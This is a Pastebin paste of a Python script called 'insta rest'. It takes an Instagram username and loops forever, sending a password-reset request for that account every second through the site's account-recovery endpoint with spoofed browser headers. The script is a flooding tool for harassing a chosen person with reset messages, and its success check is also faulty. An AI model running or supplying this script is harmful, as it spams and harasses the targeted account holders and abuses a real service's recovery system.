6g7r

insta rest

Mar 26th, 2021 (edited)
944
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. import requests
  2. import time
  3. from time import sleep
  4. print("""
  5. ____ ____ ____ ____
  6. ||6 |||G |||7 |||R ||
  7. ||__|||__|||__|||__||
  8. |/__\|/__\|/__\|/__\|
  9. {__ {__ {__
  10.  
  11.  
  12.  
  13.  
  14.  
  15. """)
  16. user = input("user : ")
  17. done = 1
  18. url = 'https://www.instagram.com/accounts/account_recovery_send_ajax/'
  19. headers_rest = {
  20. 'Accept':'/',
  21. 'Accept-Encoding':'gzip, deflate, br',
  22. 'Accept-Language':'en-US,en;q=0.5',
  23. 'Connection':'keep-alive',
  24. 'Content-Length':'81',
  25. 'Content-Type':'application/x-www-form-urlencoded',
  26. 'Cookie':'missing',
  27. 'Host':'www.instagram.com',
  28. 'Origin':'https://www.instagram.com/',
  29. 'Referer':'https://www.instagram.com/accounts/password/reset/',
  30. 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36',
  31. 'X-CSRFToken':'missing',
  32. 'X-IG-App-ID':'936619743392459',
  33. 'X-IG-WWW-Claim':'0',
  34. 'X-Instagram-AJAX':'bba907d2f110',
  35. 'X-Requested-With':'XMLHttpRequest'
  36. }
  37. data_rest = {
  38. 'email_or_username': user,
  39. 'recaptcha_challenge_field': '',
  40. 'flow':'',
  41. 'app_id':'',
  42. }
  43. while True:
  44. sleep(1)
  45. rest = requests.post(url, headers=headers_rest, data=data_rest)
  46. if rest.text.find('Thanks!'):
  47. print('done rest! {}'.format(done))
  48. done += 1
Add Comment
Please, Sign In to add comment